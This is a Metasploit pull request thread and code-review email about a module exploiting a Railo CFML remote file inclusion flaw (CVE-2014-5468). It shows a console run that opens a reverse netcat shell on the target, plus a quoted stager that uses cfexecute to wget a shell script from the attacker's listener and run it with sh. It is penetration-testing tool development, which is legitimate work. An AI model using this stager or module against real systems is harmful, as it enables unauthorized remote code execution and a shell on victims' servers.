Create railo_cfml_rfi.rb

This PR creates a new module that exploits dronesec's CVE-2014-5468 vulnerability detailed here: http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/

There are a few things in this module that are of concern however. For one, I need an image of a larger size in order to exploit this. I currently just call curl in order to get this image. It would be great if there was an image in the tree that I could simply read from the FS relatively from the module, as the curl I am doing is hella-hacky. Would love some feedback on how to do this properly.

Also need to add a check method, still. Wanted to get some initial critique. This is a relatively preliminary PR.


Quick run:

```
msf exploit(railo_cfml_rfi) > show options

Module options (exploit/linux/http/railo_cfml_rfi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    172.31.16.19     yes       The target address
   RPORT    8888             yes       The target port
   SRVHOST  172.31.16.19     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.31.16.19     yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(railo_cfml_rfi) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 172.31.16.19:4444 
[*] Using URL: http://172.31.16.19:8080/nhgmBsPfiqHUfwr.cfm
[*] Using URL: http://172.31.16.19:8080/CkvIPPhUbWfNeuP
msf exploit(railo_cfml_rfi) >   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16013  100 16013    0     0  19409      0 --:--:-- --:--:-- --:--:-- 20192
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16013  100 16013    0     0  32956      0 --:--:-- --:--:-- --:--:-- 32948
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16013  100 16013    0     0  69944      0 --:--:-- --:--:-- --:--:-- 70232
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16013  100 16013    0     0  32189      0 --:--:-- --:--:-- --:--:-- 32546
[*] Waiting for first stage to download...
[*] Command shell session 2 opened (172.31.16.19:4444 -> 172.31.16.19:60187) at 2014-08-28 06:40:59 -0700
[*] Server stopped.

msf exploit(railo_cfml_rfi) > sessions -l

Active sessions
===============

  Id  Type        Information  Connection
  --  ----        -----------  ----------
  2   shell unix               172.31.16.19:4444 -> 172.31.16.19:60187 (172.31.16.19)

msf exploit(railo_cfml_rfi) > sessions -i 2
[*] Starting interaction with 2...

id
uid=1000(bperry) gid=1000(bperry) groups=1000(bperry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

```

Yes, there is a size restriction, but exactly what it is I am not sure. I
will be able to get to these this weekend.

Egypt however, had a neat idea in that I can just generate a PNG the size I
need, as it isn't going to get shown to anyone. I am going to try this
first.


On Fri, Aug 29, 2014 at 1:26 AM, jvennix-r7 <notifications@github.com>
wrote:

> In modules/exploits/linux/http/railo_cfml_rfi.rb:
>
> > +        'thistag.executionmode' => 'start'
> > +      }
> > +    })
> > +  end
> > +
> > +  def on_request_shell(cli, request)
> > +    send_response(cli, payload.encoded, {})
> > +    handler(cli)
> > +  end
> > +
> > +  def on_request_stager(cli, request)
> > +    url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name
> > +    stager = '<cfexecute name="wget" arguments="'+url+'" timeout="99999"></cfexecute>'
> > +    stager << '<cfexecute name="sh" arguments="'+@shell_name+'" timeout="99999"></cfexecute>'
> > +
> > +    png = `curl http://weaknetlabs.com/images/metasploit-i-got-in.png` <http://weaknetlabs.com/images/metasploit-i-got-in.png>
>
> Put this in data/exploits/<identifier>.png, then img_path =
> File.join(Msf::Config.data_directory, "exploits", "blah.png"). Is there
> any need to use this png specifically or do you just need a png of a
> minimum size?
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/rapid7/metasploit-framework/pull/3721/files#r16883528>
> .
>



-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website